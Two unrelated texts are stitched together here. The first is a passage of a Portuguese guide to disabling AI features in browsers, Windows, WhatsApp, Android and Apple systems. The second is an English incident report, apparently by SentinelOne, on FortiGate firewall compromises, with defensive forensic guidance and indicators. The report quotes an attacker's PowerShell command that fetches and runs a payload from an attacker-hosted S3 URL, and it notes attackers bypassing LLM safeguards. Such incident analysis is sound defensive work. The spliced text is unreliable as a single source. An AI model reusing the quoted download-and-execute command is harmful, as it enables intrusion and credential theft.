O segundo caminho (para versões mais antigas do Firefox) exige acessar configurações ocultas do sistema. Digite about:config na barra de endereço, pressione Enter e clique no botão para confirmar que você aceita o risco de mexer nas configurações internas do navegador.

Uma extensa lista de configurações será exibida, juntamente com uma barra de busca. Digite “ML” para filtrar as opções relacionadas a machine learning.

Para desativar a IA no Firefox, alterne a configuração browser.ml.enabled para false. Isso deve desativar todos os recursos de IA de forma geral, mas fóruns da comunidade indicam que isso nem sempre é suficiente para resolver o problema. Para uma abordagem mais radical, defina os seguintes parâmetros como false (ou mantenha apenas aqueles de que você realmente precisa):

• ml.chat.enabled
• ml.linkPreview.enabled
• ml.pageAssist.enabled
• ml.smartAssist.enabled
• ml.enabled
• ai.control.translations
• tabs.groups.smart.enabled
• urlbar.quicksuggest.mlEnabled

Isso desativará integrações com chatbots, descrições de links geradas por IA, assistentes e extensões baseados em IA, tradução local de sites, agrupamento de abas e outros recursos baseados em IA.

Como desativar recursos de IA em aplicativos da Microsoft

A Microsoft conseguiu incorporar IA em praticamente todos os seus produtos, e desativá-la nem sempre é uma tarefa simples, especialmente porque, em alguns casos, a IA tem o hábito de reaparecer sozinha, sem qualquer ação do usuário.

Como desativar recursos de IA no Edge

O navegador da Microsoft está repleto de recursos de IA, que vão do Copilot à pesquisa automatizada. Para desativá-los, siga a mesma lógica usada no Chrome: digite edge://flags na barra de endereços do Edge, pressione Enter e, em seguida, digite “AI” ou “Copilot” na caixa de pesquisa. A partir daí, você pode desativar os recursos de IA indesejados, como:

• Enable Compose (AI-writing) on the web
• Edge Copilot Mode
• Edge History AI

Outra maneira de se livrar do Copilot é digitar edge://settings/appearance/copilotAndSidebar na barra de endereço. Ali, você pode personalizar a aparência da barra lateral do Copilot e ajustar as opções de personalização para resultados e notificações. Não se esqueça de verificar também a seção Copilot em App-specific settings. Você encontrará alguns controles adicionais escondidos ali.

Como desativar o Microsoft Copilot

O Microsoft Copilot existe em duas versões: como um componente do Windows (Microsoft Copilot) e como parte do pacote Office (Microsoft 365 Copilot). As funções são semelhantes, mas você terá que desativar um ou ambos, dependendo exatamente do que os engenheiros de Redmond decidiram instalar na sua máquina.

A coisa mais simples que você pode fazer é desinstalar o aplicativo por completo. Clique com o botão direito na entrada Copilot no menu Iniciar e selecione Desinstalar. Se essa opção não estiver disponível, vá até a lista de aplicativos instalados (Iniciar → Configurações → Aplicativos) e desinstale o Copilot por lá.

Em determinadas versões do Windows 11, o Copilot está integrado diretamente ao sistema operacional, portanto uma simples desinstalação pode não funcionar. Nesse caso, você pode desativá-lo pelas configurações: Iniciar → Configurações → Personalização → Barra de Tarefas → Desativar o Copilot.

Se você mudar de ideia no futuro, sempre poderá reinstalar o Copilot pela Microsoft Store.

Vale observar que muitos usuários reclamaram que o Copilot se reinstala automaticamente. Portanto, pode ser uma boa ideia fazer uma verificação semanal durante alguns meses para garantir que ele não tenha voltado. Para quem se sente confortável em mexer no Registro do Sistema (e entende as consequências disso), é possível seguir este guia detalhado para evitar o retorno silencioso do Copilot, desativando o parâmetro SilentInstalledAppsEnabled e adicionando/ativando o parâmetro TurnOffWindowsCopilot.

Como desativar o Microsoft Recall

O recurso Microsoft Recall, apresentado pela primeira vez em 2024, funciona tirando constantemente capturas de tela do seu computador e fazendo com que uma rede neural as analise. Todas essas informações extraídas são armazenadas em um banco de dados, que você pode pesquisar posteriormente usando um assistente de IA. Já escrevemos anteriormente, em detalhes, sobre os enormes riscos de segurança que o Microsoft Recall representa.

Sob pressão de especialistas em cibersegurança, a Microsoft foi obrigada a adiar o lançamento desse recurso de 2024 para 2025, reforçando significativamente a proteção dos dados armazenados. No entanto, o funcionamento básico do Recall permanece o mesmo: seu computador continua registrando cada movimento seu ao tirar capturas de tela constantemente e aplicar OCR ao conteúdo. E, embora o recurso não esteja mais ativado por padrão, vale absolutamente a pena verificar se ele não foi ativado na sua máquina.

Para verificar, vá até as configurações: Iniciar → Configurações → Privacidade e segurança → Recall e capturas de tela. Assegure-se de que a opção Salvar capturas de tela esteja desativada e clique em Excluir capturas de tela para limpar todos os dados coletados anteriormente, por precaução.

Você também pode consultar nosso guia detalhado sobre como desativar e remover completamente o Microsoft Recall.

Como desativar a IA no Notepad e nas ações de contexto do Windows

A IA se infiltrou em praticamente todos os cantos do Windows, até mesmo no Explorador de Arquivos e no Notepad. Basta selecionar texto por engano em um aplicativo para que recursos de IA sejam acionados, o que a Microsoft chama de “Ações de IA”. Para desativar essa ação, vá para Iniciar → Configurações → Privacidade e segurança → Clique para executar.

O Notepad recebeu seu próprio tratamento com Copilot, portanto será necessário desativar a IA nele separadamente. Abra as configurações do Notepad, localize a seção Recursos de IA e desative o Copilot.

Por fim, a Microsoft também conseguiu incorporar o Copilot ao Paint. Infelizmente, até o momento não existe uma maneira oficial de desativar os recursos de IA dentro do próprio aplicativo Paint.

Como desativar a IA no WhatsApp

Em várias regiões, usuários do WhatsApp começaram a ver adições típicas de IA, como respostas sugeridas, resumos de mensagens gerados por IA e um novo botão Pergunte à Meta AI ou pesquise. Embora a Meta afirme que os dois primeiros recursos processam os dados localmente no dispositivo e não enviam suas conversas para os servidores da empresa, verificar isso não é tarefa simples. Felizmente, desativá-los é fácil.

Para desativar Sugestões de respostas, vá para Configurações → Conversas → Sugestões e respostas inteligentes e desative Sugestões de respostas. Você também pode desativar as Sugestões de figurinhas por IA nesse mesmo menu. Quanto aos resumos de mensagens gerados por IA, eles são gerenciados em outro local: Configurações → Notificações → Resumos de mensagens por IA.

Como desativar a IA no Android

Dada a grande variedade de fabricantes e versões do Android, não existe um manual único que sirva para todos os celulares. Hoje, vamos nos concentrar em eliminar os serviços de IA do Google, mas se você estiver usando um dispositivo da Samsung, Xiaomi ou outros, não se esqueça de verificar as configurações de IA do fabricante específico. Vale um aviso: eliminar completamente qualquer vestígio de IA pode ser uma tarefa difícil, se é que isso é realmente possível.

No Google Mensagens, os recursos de IA ficam nas configurações: toque na foto da sua conta, selecione Configurações do Mensagens, depois Gemini no app Mensagens e desative o assistente.

De modo geral, o chatbot Gemini funciona como um aplicativo independente que pode ser desinstalado acessando as configurações do telefone e selecionando Aplicativos. No entanto, como o plano do Google é substituir o tradicional Google Assistant pelo Gemini, desinstalá-lo pode se tornar difícil (ou até impossível) no futuro.

Se você não conseguir desinstalar completamente o Gemini, abra o aplicativo para desativar manualmente seus recursos. Toque no ícone do seu perfil, selecione Atividade dos apps do Gemini e escolha Desativar ou Desativar e excluir atividade. Em seguida, toque novamente no ícone do perfil e vá até a configuração Apps conectados (pode estar dentro da opção Inteligência pessoal). A partir daí, desative todos os aplicativos nos quais você não quer que o Gemini interfira.

Para saber mais sobre como lidar com aplicativos pré-instalados e apps do sistema, consulte nosso artigo “Excluir o que não pode ser excluído: como desativar e remover o bloatware do Android“.

Como desativar a IA no macOS e no iOS

Os recursos de IA no nível da plataforma da Apple, conhecidos coletivamente como Apple Intelligence, são relativamente simples de desativar. Nas configurações, tanto em desktops quanto em smartphones e tablets, basta procurar a seção Apple Intelligence e Siri. Aliás, dependendo da região e do idioma selecionado para o sistema operacional e para a Siri, o Apple Intelligence pode nem estar disponível para você ainda.

Outros artigos para ajudar você a ajustar as ferramentas de IA em seus dispositivos:

• Configurações de privacidade no ChatGPT
• DeepSeek: configuração da privacidade e implementação de uma versão local
• Os prós e contras dos navegadores com tecnologia de IA
• Uma atualização do Gemini AI está prestes a comprometer a privacidade do seu dispositivo Android?
• É recomendável desativar o recurso Busca rápida da Microsoft em 2025?

Overview

Throughout early 2026, SentinelOne’s® Digital Forensics & Incident Response (DFIR) team has responded to several incidents where FortiGate Next-Generation Firewall (NGFW) appliances have been compromised to establish a foothold into the targeted environment. Each incident was detected and stopped during the lateral movement phase of the attack.

Fortinet has disclosed and issued patches for several high-severity vulnerabilities allowing unauthorized access during the activity period of our investigations. Successful exploitation of these flaws allows an attacker to extract the configuration file from the FortiGate appliance, which frequently contains service account credentials and valuable network topology information for the targeted environment.

We observed a consistent theme: targeted organizations fail to retain sufficient logs on these appliances, which prevents understanding exactly how and when attackers gained access. The dwell time between initial perimeter device compromise to network compromise was drastically different across two incidents we investigated, ranging from 2 months to near instantaneous follow-on activity.

This post explores the actions that an attacker or attackers conducted following likely exploitation of two of these FortiGate appliances in different environments. It also provides defenders with guidance to investigate compromise of these appliances and subsequent infiltration activities.

FortiGate Appliance Compromise

FortiGate network appliances have considerable access to the environments they were installed to protect. In many configurations, this includes service accounts which are connected to the authentication infrastructure, such as Active Directory (AD) and Lightweight Directory Access Protocol (LDAP). This setup can enable the appliance to map roles to specific users by fetching attributes about the connection that’s being analyzed and correlating with the Directory information, which is useful in cases where role-based policies are set or for increasing response speed for network security alerts detected by the device.

However, such access is abused by actors who compromise FortiGate devices, as we have seen in these recent incidents.

Through December 2025 and February 2026, Fortinet products have reportedly been exploited via CVE-2025-59718 and CVE-2025-59719, two vulnerabilities impacting Fortinet products’ Single Sign On (SSO) mechanisms by failing to validate cryptographic signatures. In effect, this means an attacker who sends a crafted SSO token can achieve unauthenticated administrative access as the cryptographic signature is not verified.

Another vulnerability, CVE-2026-24858, was patched by Fortinet in late January: this vulnerability permitted attackers to log into FortiGate devices where FortiCloud SSO was enabled. Attackers exploited this flaw by logging into the victim’s device using the attacker’s FortiCloud account.

Once an attacker gains access in this way, they can run the command show full-configuration to extract the FortiGate device configuration file. Fortinet’s FortiOS devices, including FortiGate appliances, use a reversible form of encryption on the configuration files, meaning an attacker can then identify embedded service accounts and extract them.

However, other recent reports have detailed that actors are scanning for open instances and then attempting to log into FortiGate devices using common weak credentials, which means actors can access such devices without a weaponized exploit.

FortiGate Configs Abused to Enroll Rogue Domain Workstations

In one incident (IOCS: Incident 1), the compromise likely began in late November 2025 and remained undetected through February 2026. After accessing the appliance, the actor created a new local administrator account on the FortiGate device named support and used it to create 4 new firewall policies that allowed the account to traverse all zones (source: all; destination: all).

Activity then dropped to low volumes of traffic through some of these policies, suggesting the actor was periodically checking that access was still available before later shifting to noisier network activity.

This pattern is consistent with an initial access broker (IAB) establishing a foothold and then selling it on to another actor. Insufficient FortiGate log retention meant we could only reconstruct the activity window rather than identify the precise initial access vector.

In February 2026, an attacker likely extracted the configuration file, which contained encrypted service account LDAP credentials. Evidence demonstrates the attacker authenticated to the AD using clear text credentials from the fortidcagent service account, suggesting the attacker decrypted the configuration file and extracted the service account credentials.

The service account was then used to authenticate to the victim’s environment from IP address 193.24.211[.]61. The attacker used the mS-DS-MachineAccountQuota attribute to join two rogue workstations to the AD; by default, this setting permits a standard account to join up to 10 workstations to the domain.

Joining the attacker’s workstation to the AD provided the attacker with more access to the environment with fewer security controls. The rogue workstation names are:

• WIN-X8WRBOSK0OF
• WIN-YRSXLEONJY2

Per Validin’s records on IP address 193.24.211[.]61, the IP has consistently shown an RDP port open with an exposed Windows system with workstation ID WIN-1J7L3SQSTMS. We did not see this workstation ID during our incident, but given the consistent nature of this system on the IP address, this workstation ID should be considered suspect.

The actor then performed network scanning across the environment, which generated security alerts and prevented further lateral movement. Identity logs showed massive volumes of failed logins indicating password spraying attempts, which originated from the FortiGate appliance IP address. There were also multiple delete.me file artifacts that suggest the actor likely used the SoftPerfect Network Scanner for enumeration.

There were multiple failed login attempts during the period of heavy activity in February, including from IP addresses 185.156.73[.]62 and 185.242.246[.]127, which are registered to networks in Ukraine and Kazakhstan, respectively.

FortiGate Access Exploited to Deploy RMM Tools and Steal NTDS

In another case we investigated in late January (IOCS: Incident 2), a threat actor accessed the organization’s FortiGate appliance and created a local administrator account with the name ssl-admin. As in the previous investigation, it is likely that the actor again extracted the configuration from the FortiGate appliance and decrypted it to harvest the AD administrator credentials.

Within 10 minutes of creating a local account on the FortiGate appliance, the actor logged into several servers in the victim’s environment with the built-in Domain Administrator account. Server authentication logs confirmed a series of successful Network (Type 3) and Remote Interactive (Type 10/RDP) logins originating from the FortiGate VPN-assigned IP range.

On one of the servers, the attacker launched SQL Server Management Studio (SSMS) but did not connect to any databases, possibly searching for stored connection details or credentials in the application.

The actor began staging files in the system’s C:\ProgramData\USOShared directory, a technique we have observed across multiple incidents. The attacker downloaded two Remote Monitoring and Management (RMM) tools: Pulseway and MeshAgent, which are legitimate system administration tools that are frequently abused by threat actors to achieve a deeper foothold in the target environment.

The actor abused legitimate cloud storage functionality by hosting the Pulseway application on a Google Cloud Storage URL at hxxps://storage.googleapis[.]com/apply-main/windows_agent_x64[.]msi, which is likely attacker-controlled. The MeshAgent RMM was installed on the domain controller and a file share. The actor modified a Windows Registry value SystemComponent=1 to hide MeshAgent from the “Programs and Features” list.

These tools were used to create Windows Scheduled Tasks named JavaMainUpdate and MeshUserTask for Pulseway and MeshAgent, respectively. The actor also downloaded malware from a cloud storage bucket via PowerShell from Amazon Web Services (AWS) Simple Storage Service (S3) hostname fastdlvrss[.]s3[.]us-east-1[.]amazonaws[.]com. Like the Google Cloud Storage URL, this is a legitimate Amazon resource that was likely registered by the attacker for unauthorized purposes. This stage used the following command:

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Invoke-WebRequest -Uri
'hxxps://fastdlvrss[.]s3[.]us-east-1[.]amazonaws[.]com/paswr.zip' -OutFile
'C:\programdata\usoshared\Sysdmupd.zip'; Expand-Archive -Path
'C:\programdata\usoshared\Sysdmupd.zip' -DestinationPath 'c:\programdata\usoshared\'
-Force; Remove-Item 'c:\programdata\usoshared\Sysdmupd.zip'; cmd /c
'c:\programdata\usoshared\java.exe';"

The attacker gave the malicious DLLs the same names as legitimate Java files, causing the application to load the malware via DLL side-loading instead of the real components. The Java-loaded payload beaconed to two domains: ndibstersoft[.]com and neremedysoft[.]com. These payloads were executed against other servers on the network using PsExec, including the primary and secondary domain controllers.

The actor then created a Volume Shadow Copy backup of the primary domain controller via Windows Management Instrumentation Controls (WMIC) and extracted the NTDS.dit file and SYSTEM registry hive from the backup using the makecab command, then used makecab to compress each file.

The malicious Java application then established a connection on port 443 to IP address 172.67.196[.]232, a Cloudflare-owned IP address with thousands of domain records. The connection was terminated after 8 minutes, and the compressed NTDS.dit and registry hive files were deleted. This sequence of events suggests the attacker uploaded the data to their infrastructure during this session.

Following this activity, we observed no evidence of the threat actor leveraging new or additional user accounts. While the actor may have attempted to crack passwords from the data, no such credential usage was identified between the time of credential harvesting and incident containment.

Conclusion

NGFW appliances have become ubiquitous because they provide strong network monitoring capabilities for organizations by integrating security controls of a firewall with other management features, such as AD. However, these devices are high-value targets for actors with a variety of motivations and skill levels, from state-aligned actors conducting espionage to financially motivated attacks such as ransomware.

As Amazon Security recently wrote, lower skilled threat actors have been boosted by integrating large language models (LLM) into their workflows, making attacks easier and more automated despite demonstrating limited knowledge after exploitation. SentinelOne does not see indications that the campaigns identified in the aforementioned cases are associated with the threat actor tracked by Amazon Security, particularly given the relatively high dwell time between initial access and further activity mentioned in the first incident.

However, organizations should prepare for increases in attack volume at network edge devices as attackers find novel ways to bypass LLM safeguards: these appliances are valuable targets and are often exposed to the open internet. LLMs are often trained on these products and can readily supply information to actors that facilitates gaining access and understanding how to navigate from network appliances deeper into the targeted environment without the knowledge uplift previously required by threat actor crews.

Organizations should consider that FortiGate and other edge devices typically do not permit security software to be installed on the appliance, such as endpoint detection and response (EDR) tools. The best defense for these appliances is to apply strong administrative access controls and to keep the software patched to prevent exploitation. Further, both of these investigations were hindered by insufficient FortiGate log retention. Organizations should ensure they have at least 14 days of log retention on NGFW appliances like FortiGate, though 60-90 days is much better when possible.

SentinelOne recommends sending all logs to a Security Incident & Event Monitoring (SIEM) or similar log aggregation system, as attackers may delete logs from local systems after establishing access, but they can’t delete what’s already been sent to a security center. A SIEM can help at each stage of an attack:

1. UEBA and Identity Intelligence: User entity and behavior analytics (UEBA) within a SIEM baselines “normal behavior for every administrator, allowing the SIEM to immediately flag a login if it originates from an unrecognized device or “impossible travel” location. By identifying these anomalies at the moment of entry, the SIEM can alert defenders even if the attacker is using perfectly valid, stolen credentials.
2. Detection of Configuration Access and Credential Extraction: A SIEM monitors the FortiGate audit logs for sensitive CLI commands like show full-configuration or backup exports occurring outside of maintenance windows. By correlating these actions with an unusual admin login location, the SIEM can alert security teams that a configuration file and the credentials within it may have been compromised.
3. Spotting Unauthorized Account Creation: When a threat actor creates a local “backdoor” admin account, the SIEM immediately flags the user-creation event as a high-priority anomaly. It compares this new account against a “whitelist” of authorized admins, ensuring that any account created without a linked Change Management ticket is treated as an active breach.
4. Monitoring Malware Downloads & C2 Traffic: SIEMs analyze network flow data to identify internal systems reaching out to known malicious IPs or suspicious domains via PowerShell. By detecting the “heartbeat” of a C2 channel, the SIEM allows defenders to kill the connection before the attacker can begin exfiltrating data.
5. Preserving Evidence Against Log Deletion: Because the FortiGate appliance streams its logs to the SIEM in real-time, the attacker cannot hide their tracks by clearing the local logs. The SIEM maintains an immutable record of every command the attacker typed, providing the forensic evidence needed to understand the full scope of the intrusion.
6. Neutralizing the Threat with Automation: Modern SIEMs now come with automation built in allowing the SIEM to trigger automated playbooks the millisecond an attack is detected, such as instantly disabling the compromised service account or “shunning” the attacker’s IP at the network perimeter. By removing the need for human intervention in the initial response, automation slashes the attacker’s dwell time, effectively neutralizing the breach before malware can begin to spread.

Below, we share guidance for organizations and other incident responders on how to investigate a suspected FortiGate intrusion of this nature.

Forensic Investigation Guidance

FortiGate

Malicious SSO/Unexpected Logins:

Search system logs for Log ID 0100032001 (Admin login successful, method sso).

Check for usernames matching public IOCs (e.g., cloud-init@mail.io, cloud-noc@mail.io).

Configuration Download:

Search for Log ID 0100032095 (System config file has been downloaded).

The timestamp confirms when the attacker exported the configuration file.

Malicious Local Admin Account Creation:

Identify the exact creation time and source IP using Log ID 0100044547 (Object attribute configured) with cfgpath="user.local" or cfgpath="system.admin".

VPN Sessions:

Identify the attacker’s source IP by analyzing the remip field in VPN tunnel logs.

Look for Log ID 0101039424 (SSL VPN tunnel up) or 0101037138 (IPsec tunnel up).

Note the internal IP addresses for later correlation with evidence from the Domain Controller(s).

Domain Controllers

Rogue Computer Account Creation (Domain Join):

Windows Event ID 4741: Confirms the creation of a computer account.

Verify the Subject: Security ID matches FortiGate’s stolen LDAP bind account.

Use the SubjectLogonId from 4741 to find the corresponding Event ID 4624 (Logon Type 3) on the same domain controller to extract the Source Network Address (should match the attacker’s internal VPN IP identified via FortiGate logs).

Directory Service Changes (Advanced Audit):

If enabled, Event ID 5136 shows exact attributes set during the join (e.g., missing SPNs, modified UAC values), indicating the use of automated tools like Impacket.

DNS Record Creation:

DNS Server Audit log (Event ID 515 – Record Create): Records the creation of the host (A) record, including workstation name and timestamp.

Microsoft-Windows-DNSServer/Analytical log: Provides the Client IP (internal VPN IP) and the QNAME (workstation name being registered).

Active Directory

Find Malicious Computer Objects:

Check mS-DS-CreatorSID: If multiple rogue computers share the same SID, and it belongs to the Fortinet LDAP service account, compromise is confirmed.

Check for defined SPNs: The lack of SPNs is a red flag and a likely malicious indicator.

Note whenCreated: This attribute stores the exact time the object was added.

Originating Domain Controller and Time:

Check the sAMAccountName attribute to identify the Originating DSA (the domain controller that originally created the object) and the Originating Time.

Indicators of Compromise

Domains

ndibstersoft[.]com – Incident 2, Java-sideloaded payload C2 domain
neremedysoft[.]com – Incident 2, Java-sideloaded payload C2 domain
fastdlvrss[.]s3[.]us-east-1[.]amazonaws[.]com – Incident 2, S3 subdomain hosting weaponized Java payloads

IP Addresses

185.156.73[.]62 – Incident 1, failed login source IP
185.242.246[.]127 – Incident 1, failed login source IP
193.24.211[.]61 – Incident 1 threat actor connection via ‘support’ account

URLs

hxxps://fastdlvrss[.]s3[.]us-east-1[.]amazonaws[.]com/paswr.zip – Incident 2, URL hosting weaponized Java application & payloads
hxxps://storage.googleapis[.]com/apply-main/windows_agent_x64[.]msi – Incident 2, URL hosting Pulseway RMM

Account Names Created by Threat Actor

ssl-admin – Incident 2, FortiGate local administrative account
support – Incident 1, FortiGate local administrative account

Windows Workstation Names

WIN-1J7L3SQSTMS – Incident 1, Windows hostname of RDP service hosted on attacker IP 193.24.211[.]61
WIN-X8WRBOSK0OF – Incident 1, rogue workstation ID
WIN-YRSXLEONJY2 – Incident 1, rogue workstation ID

Third-Party Trademark Disclaimer:

All third-party product names, logos, and brands mentioned in this publication are the property of their respective owners and are for identification purposes only. Use of these names, logos, and brands does not imply affiliation, endorsement, sponsorship, or association with the third-party.